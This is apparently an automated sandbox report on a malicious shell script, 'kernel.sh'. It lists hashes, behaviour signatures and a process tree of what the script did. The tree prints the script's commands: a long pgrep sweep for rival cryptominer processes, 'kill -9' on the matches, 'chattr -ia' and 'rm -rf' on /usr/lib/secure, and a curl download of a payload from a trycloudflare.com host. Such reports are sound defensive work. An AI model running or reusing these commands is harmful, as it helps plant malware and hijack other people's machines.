Overview

overview

10

Static

static

1

kernel.sh

ubuntu-18.04-amd64

6

kernel.sh

debian-9-armhf

6

kernel.sh

debian-9-mips

10

kernel.sh

debian-9-mipsel

10

Resubmissions

13-12-2024 16:40

241213-t61lwsvjfx 10

13-12-2024 09:54

241213-lw7y8avjgx 10

Analysis

  • max time kernel
    148s
  • max time network
    128s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    13-12-2024 09:54

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    kernel.sh

  • Size

    3KB

  • MD5

    70b5ca97532b13cf5743c138d213ef1f

  • SHA1

    55ce28f0db3d7fbd69c72d78282b06147df690f9

  • SHA256

    7bc7583c91a5b3880dcb9ae735530d4990d13f67216f08dfa140f927a09c1a87

  • SHA512

    253b9e6eda76101b81522d412fa394da12406997e813f1cc49dcfc57dbf6b432d64829600a2d0413a7ecfce3e6f412f4529eb4a35b278bf5fb3626fc5f7dbfa6

Score
6/10
discovery

Malware Config

Signatures

  • Attempts to change immutable files 1 IoCs

    Modifies inode attributes on the filesystem to allow changing of immutable files.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads CPU attributes 1 TTPs 64 IoCs
    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery

Processes

  • /tmp/kernel.sh
    /tmp/kernel.sh
    1⤵
      PID:1516
      • /usr/bin/pgrep
        pgrep -x kdevtmpfsi
        2⤵
          PID:1518
        • /usr/bin/pgrep
          pgrep -x kinsing
          2⤵
          • Reads runtime system information
          PID:1519
        • /usr/bin/pgrep
          pgrep -x xmrig
          2⤵
          • Reads CPU attributes
          PID:1520
        • /usr/bin/pgrep
          pgrep -x xmrigDaemon
          2⤵
          • Reads CPU attributes
          PID:1522
        • /usr/bin/pgrep
          pgrep -x xmrigMiner
          2⤵
            PID:1523
          • /usr/bin/pgrep
            pgrep -x xmrigMinerd
            2⤵
              PID:1524
            • /usr/bin/pgrep
              pgrep -x xmrigMinerDaemon
              2⤵
              • Reads CPU attributes
              PID:1525
            • /usr/bin/pgrep
              pgrep -x xmrigMinerServer
              2⤵
              • Reads CPU attributes
              PID:1526
            • /usr/bin/pgrep
              pgrep -x xmrigMinerServerDaemon
              2⤵
              • Reads runtime system information
              PID:1527
            • /usr/bin/pgrep
              pgrep -x bash2
              2⤵
              • Reads CPU attributes
              PID:1528
            • /usr/bin/pgrep
              pgrep -x .network-setup
              2⤵
              • Reads runtime system information
              PID:1529
            • /usr/bin/pgrep
              pgrep -x syshd
              2⤵
              • Reads CPU attributes
              PID:1530
            • /usr/bin/pgrep
              pgrep -x /usr/.network-setup/config.json
              2⤵
              • Reads CPU attributes
              • Reads runtime system information
              PID:1534
            • /usr/bin/pgrep
              pgrep -x bashirc
              2⤵
                PID:1535
              • /usr/bin/pgrep
                pgrep -x masscan
                2⤵
                • Reads CPU attributes
                PID:1536
              • /usr/bin/pgrep
                pgrep -x cronb.sh
                2⤵
                • Reads CPU attributes
                PID:1537
              • /usr/bin/pgrep
                pgrep -x crond.sh
                2⤵
                  PID:1538
                • /usr/bin/pgrep
                  pgrep -x linuxsys
                  2⤵
                  • Reads CPU attributes
                  • Reads runtime system information
                  PID:1539
                • /usr/bin/pgrep
                  pgrep -x miner
                  2⤵
                    PID:1540
                  • /usr/bin/pgrep
                    pgrep -x gitlabw
                    2⤵
                    • Reads runtime system information
                    PID:1541
                  • /usr/bin/pgrep
                    pgrep -x xmp
                    2⤵
                    • Reads CPU attributes
                    • Reads runtime system information
                    PID:1542
                  • /usr/bin/pgrep
                    pgrep -x juiceSSH
                    2⤵
                    • Reads CPU attributes
                    • Reads runtime system information
                    PID:1543
                  • /usr/bin/pgrep
                    pgrep -x khnug
                    2⤵
                      PID:1544
                    • /usr/bin/pgrep
                      pgrep -x Linux2
                      2⤵
                      • Reads runtime system information
                      PID:1545
                    • /usr/bin/pgrep
                      pgrep -x kthreaddi
                      2⤵
                        PID:1546
                      • /usr/bin/pgrep
                        pgrep -x kkssl
                        2⤵
                        • Reads CPU attributes
                        • Reads runtime system information
                        PID:1547
                      • /usr/bin/pgrep
                        pgrep -x cnrig
                        2⤵
                        • Reads CPU attributes
                        PID:1548
                      • /usr/bin/pgrep
                        pgrep -x stratum
                        2⤵
                        • Reads CPU attributes
                        PID:1549
                      • /usr/bin/pgrep
                        pgrep -x vscode
                        2⤵
                        • Reads runtime system information
                        PID:1550
                      • /usr/bin/pgrep
                        pgrep -x "runsv puma"
                        2⤵
                        • Reads CPU attributes
                        • Reads runtime system information
                        PID:1551
                      • /usr/bin/pgrep
                        pgrep -x xmrig
                        2⤵
                          PID:1552
                        • /usr/bin/pgrep
                          pgrep -x c3pool
                          2⤵
                          • Reads CPU attributes
                          • Reads runtime system information
                          PID:1553
                        • /usr/bin/pgrep
                          pgrep -x kthreaddk
                          2⤵
                            PID:1554
                          • /usr/bin/pgrep
                            pgrep -x dbused
                            2⤵
                            • Reads CPU attributes
                            PID:1555
                          • /usr/bin/pgrep
                            pgrep -x kdevtmpfsi
                            2⤵
                            • Reads runtime system information
                            PID:1556
                          • /usr/bin/pgrep
                            pgrep -x kinsing
                            2⤵
                            • Reads CPU attributes
                            PID:1557
                          • /usr/bin/pgrep
                            pgrep -x supportxmr
                            2⤵
                            • Reads CPU attributes
                            PID:1558
                          • /usr/bin/pgrep
                            pgrep -x xmr
                            2⤵
                            • Reads CPU attributes
                            • Reads runtime system information
                            PID:1559
                          • /usr/bin/pgrep
                            pgrep -x kthreaddw
                            2⤵
                              PID:1560
                            • /usr/bin/pgrep
                              pgrep -x klibsystem4
                              2⤵
                              • Reads CPU attributes
                              PID:1561
                            • /usr/bin/pgrep
                              pgrep -x klibsystem5
                              2⤵
                              • Reads CPU attributes
                              • Reads runtime system information
                              PID:1562
                            • /usr/bin/pgrep
                              pgrep -x kworkerr
                              2⤵
                              • Reads CPU attributes
                              PID:1563
                            • /usr/bin/pgrep
                              pgrep -x ipv6_addrconfd
                              2⤵
                              • Reads CPU attributes
                              • System Network Configuration Discovery
                              PID:1564
                            • /usr/bin/pgrep
                              pgrep -x ksoftriqd
                              2⤵
                              • Reads runtime system information
                              PID:1565
                            • /usr/bin/pgrep
                              pgrep -x 8a9ed70
                              2⤵
                              • Reads CPU attributes
                              PID:1566
                            • /usr/bin/pgrep
                              pgrep -x xmrigMiner
                              2⤵
                              • Reads runtime system information
                              PID:1567
                            • /usr/bin/pgrep
                              pgrep -x kthreaddo
                              2⤵
                              • Reads CPU attributes
                              PID:1568
                            • /usr/bin/pgrep
                              pgrep -x xssai
                              2⤵
                              • Reads CPU attributes
                              • Reads runtime system information
                              PID:1569
                            • /usr/bin/pgrep
                              pgrep -x k1.sh
                              2⤵
                              • Reads CPU attributes
                              PID:1570
                            • /usr/bin/pgrep
                              pgrep -x base64
                              2⤵
                              • Reads CPU attributes
                              PID:1571
                            • /usr/bin/pgrep
                              pgrep -x java-deamon
                              2⤵
                                PID:1572
                              • /usr/bin/pgrep
                                pgrep -x up.elf
                                2⤵
                                • Reads CPU attributes
                                • Reads runtime system information
                                PID:1573
                              • /usr/bin/pgrep
                                pgrep -x logrotate
                                2⤵
                                • Reads CPU attributes
                                PID:1574
                              • /usr/bin/pgrep
                                pgrep -x "\\-bash"
                                2⤵
                                • Reads CPU attributes
                                PID:1575
                              • /usr/bin/pgrep
                                pgrep -x b64decode
                                2⤵
                                • Reads runtime system information
                                PID:1576
                              • /usr/bin/pgrep
                                pgrep -x MCf8
                                2⤵
                                • Reads CPU attributes
                                PID:1577
                              • /usr/bin/pgrep
                                pgrep -x mysqldd
                                2⤵
                                • Reads CPU attributes
                                PID:1578
                              • /usr/bin/pgrep
                                pgrep -x monero
                                2⤵
                                  PID:1579
                                • /usr/bin/pgrep
                                  pgrep -x sshpass
                                  2⤵
                                  • Reads runtime system information
                                  PID:1580
                                • /usr/bin/pgrep
                                  pgrep -x sshexec
                                  2⤵
                                  • Reads CPU attributes
                                  PID:1581
                                • /usr/bin/pgrep
                                  pgrep -x attack
                                  2⤵
                                  • Reads CPU attributes
                                  PID:1582
                                • /usr/bin/pgrep
                                  pgrep -x dovecat
                                  2⤵
                                  • Reads CPU attributes
                                  PID:1583
                                • /usr/bin/pgrep
                                  pgrep -x javae
                                  2⤵
                                  • Reads CPU attributes
                                  • Reads runtime system information
                                  PID:1584
                                • /usr/bin/pgrep
                                  pgrep -x donate
                                  2⤵
                                  • Reads runtime system information
                                  PID:1585
                                • /usr/bin/pgrep
                                  pgrep -x scan.log
                                  2⤵
                                    PID:1586
                                  • /usr/bin/pgrep
                                    pgrep -x xmr-stak
                                    2⤵
                                    • Reads runtime system information
                                    PID:1587
                                  • /usr/bin/pgrep
                                    pgrep -x crond64
                                    2⤵
                                      PID:1588
                                    • /usr/bin/pgrep
                                      pgrep -x /tmp/java
                                      2⤵
                                      • Reads runtime system information
                                      PID:1589
                                    • /usr/bin/pgrep
                                      pgrep -x pastebin
                                      2⤵
                                      • Reads CPU attributes
                                      PID:1590
                                    • /usr/bin/pgrep
                                      pgrep -x so.txt
                                      2⤵
                                      • Reads CPU attributes
                                      PID:1591
                                    • /usr/bin/pgrep
                                      pgrep -x "bash -s 3673"
                                      2⤵
                                        PID:1592
                                      • /usr/bin/pgrep
                                        pgrep -x 8005/cc5
                                        2⤵
                                        • Reads runtime system information
                                        PID:1593
                                      • /usr/bin/pgrep
                                        pgrep -x /tmp/system
                                        2⤵
                                          PID:1594
                                        • /usr/bin/pgrep
                                          pgrep -x ./cliented
                                          2⤵
                                          • Reads runtime system information
                                          PID:1595
                                        • /usr/bin/pgrep
                                          pgrep -x .inis
                                          2⤵
                                          • Reads CPU attributes
                                          PID:1596
                                        • /usr/bin/pgrep
                                          pgrep -x certutil
                                          2⤵
                                          • Reads runtime system information
                                          PID:1597
                                        • /usr/bin/pgrep
                                          pgrep -x excludefile
                                          2⤵
                                          • Reads CPU attributes
                                          PID:1598
                                        • /usr/bin/pgrep
                                          pgrep -x agettyd
                                          2⤵
                                          • Reads CPU attributes
                                          PID:1599
                                        • /usr/bin/pgrep
                                          pgrep -x kthreaddkk
                                          2⤵
                                          • Reads runtime system information
                                          PID:1600
                                        • /usr/bin/pgrep
                                          pgrep -x /dev/shm
                                          2⤵
                                          • Reads CPU attributes
                                          PID:1601
                                        • /usr/bin/pgrep
                                          pgrep -x /var/tmp
                                          2⤵
                                          • Reads CPU attributes
                                          • Reads runtime system information
                                          PID:1602
                                        • /usr/bin/pgrep
                                          pgrep -x ./python
                                          2⤵
                                          • Reads CPU attributes
                                          PID:1603
                                        • /usr/bin/pgrep
                                          pgrep -x ./crun
                                          2⤵
                                          • Reads CPU attributes
                                          PID:1604
                                        • /usr/bin/pgrep
                                          pgrep -x "bash -s kthreaddk"
                                          2⤵
                                          • Reads CPU attributes
                                          PID:1605
                                        • /usr/bin/pgrep
                                          pgrep -x ./.
                                          2⤵
                                            PID:1606
                                          • /usr/bin/pgrep
                                            pgrep -x 118/cf.sh
                                            2⤵
                                            • Reads CPU attributes
                                            PID:1607
                                          • /usr/bin/pgrep
                                            pgrep -x ./lin64
                                            2⤵
                                            • Reads CPU attributes
                                            • Reads runtime system information
                                            PID:1608
                                          • /usr/bin/pgrep
                                            pgrep -x confluence/install.sh
                                            2⤵
                                            • Reads runtime system information
                                            PID:1609
                                          • /usr/bin/pgrep
                                            pgrep -x unls64.sh
                                            2⤵
                                            • Reads CPU attributes
                                            • Reads runtime system information
                                            PID:1610
                                          • /usr/bin/pgrep
                                            pgrep -x ./system-xfwm4-session
                                            2⤵
                                            • Reads runtime system information
                                            PID:1611
                                          • /usr/bin/pgrep
                                            pgrep -x ./httpd
                                            2⤵
                                            • Reads CPU attributes
                                            • Reads runtime system information
                                            PID:1612
                                          • /usr/bin/pgrep
                                            pgrep -x loligang
                                            2⤵
                                            • Reads runtime system information
                                            PID:1613
                                          • /usr/bin/pgrep
                                            pgrep -x .6379
                                            2⤵
                                            • Reads runtime system information
                                            PID:1614
                                          • /usr/bin/pgrep
                                            pgrep -x load.sh
                                            2⤵
                                            • Reads CPU attributes
                                            • Reads runtime system information
                                            PID:1615
                                          • /usr/bin/pgrep
                                            pgrep -x init.sh
                                            2⤵
                                            • Reads runtime system information
                                            PID:1616
                                          • /usr/bin/pgrep
                                            pgrep -x solr.sh
                                            2⤵
                                              PID:1617
                                            • /usr/bin/pgrep
                                              pgrep -x .rsyslogds
                                              2⤵
                                              • Reads CPU attributes
                                              • Reads runtime system information
                                              PID:1618
                                            • /usr/bin/pgrep
                                              pgrep -x sysDworker
                                              2⤵
                                              • Reads runtime system information
                                              PID:1619
                                            • /usr/bin/pgrep
                                              pgrep -x pnscan
                                              2⤵
                                              • Reads runtime system information
                                              PID:1620
                                            • /usr/bin/pgrep
                                              pgrep -x sysguard
                                              2⤵
                                              • Reads CPU attributes
                                              PID:1621
                                            • /usr/bin/pgrep
                                              pgrep -x solrd
                                              2⤵
                                                PID:1622
                                              • /usr/bin/pgrep
                                                pgrep -x polska
                                                2⤵
                                                • Reads CPU attributes
                                                PID:1623
                                              • /usr/bin/pgrep
                                                pgrep -x meminitsrv
                                                2⤵
                                                  PID:1624
                                                • /usr/bin/pgrep
                                                  pgrep -x networkservice
                                                  2⤵
                                                  • Reads CPU attributes
                                                  PID:1625
                                                • /usr/bin/pgrep
                                                  pgrep -x sysupdate
                                                  2⤵
                                                  • Reads CPU attributes
                                                  • Reads runtime system information
                                                  PID:1626
                                                • /usr/bin/pgrep
                                                  pgrep -x phpguard
                                                  2⤵
                                                  • Reads CPU attributes
                                                  PID:1627
                                                • /usr/bin/pgrep
                                                  pgrep -x phpupdate
                                                  2⤵
                                                  • Reads CPU attributes
                                                  PID:1628
                                                • /usr/bin/pgrep
                                                  pgrep -x networkmanager
                                                  2⤵
                                                  • Reads runtime system information
                                                  PID:1629
                                                • /usr/bin/pgrep
                                                  pgrep -x knthread
                                                  2⤵
                                                  • Reads CPU attributes
                                                  • Reads runtime system information
                                                  PID:1630
                                                • /usr/bin/pgrep
                                                  pgrep -x mysqlserver
                                                  2⤵
                                                  • Reads CPU attributes
                                                  • Reads runtime system information
                                                  PID:1631
                                                • /usr/bin/pgrep
                                                  pgrep -x gitlabkill
                                                  2⤵
                                                  • Reads runtime system information
                                                  PID:1632
                                                • /usr/bin/pgrep
                                                  pgrep -x watchbog
                                                  2⤵
                                                  • Reads runtime system information
                                                  PID:1633
                                                • /usr/bin/pgrep
                                                  pgrep -x zgrab
                                                  2⤵
                                                  • Reads CPU attributes
                                                  PID:1634
                                                • /usr/bin/pgrep
                                                  pgrep -x udiskssd
                                                  2⤵
                                                    PID:1635
                                                  • /usr/bin/xargs
                                                    xargs -I "%" kill -9 "%"
                                                    2⤵
                                                      PID:1640
                                                    • /usr/bin/awk
                                                      awk "{print \$2}"
                                                      2⤵
                                                        PID:1639
                                                      • /bin/grep
                                                        grep -v grep
                                                        2⤵
                                                          PID:1638
                                                        • /bin/grep
                                                          grep atdb
                                                          2⤵
                                                            PID:1637
                                                          • /bin/ps
                                                            ps -ef
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:1636
                                                          • /usr/bin/id
                                                            id -u
                                                            2⤵
                                                              PID:1641
                                                            • /usr/bin/id
                                                              id -u
                                                              2⤵
                                                                PID:1642
                                                              • /usr/bin/chattr
                                                                chattr -ia /usr/lib/secure
                                                                2⤵
                                                                • Attempts to change immutable files
                                                                PID:1643
                                                              • /bin/rm
                                                                rm -rf /usr/lib/secure
                                                                2⤵
                                                                  PID:1644
                                                                • /bin/mkdir
                                                                  mkdir -p /usr/lib/secure
                                                                  2⤵
                                                                    PID:1645
                                                                  • /bin/chmod
                                                                    chmod +w /usr/lib/secure
                                                                    2⤵
                                                                      PID:1646
                                                                    • /usr/bin/curl
                                                                      curl -ks https://throw-shut-discuss-pirates.trycloudflare.com/initd -o /usr/lib/secure/udiskssd
                                                                      2⤵
                                                                        PID:1647

                                                                    Network

                                                                    MITRE ATT&CK Enterprise v15

                                                                    Replay Monitor

                                                                    Loading Replay Monitor...

                                                                    Downloads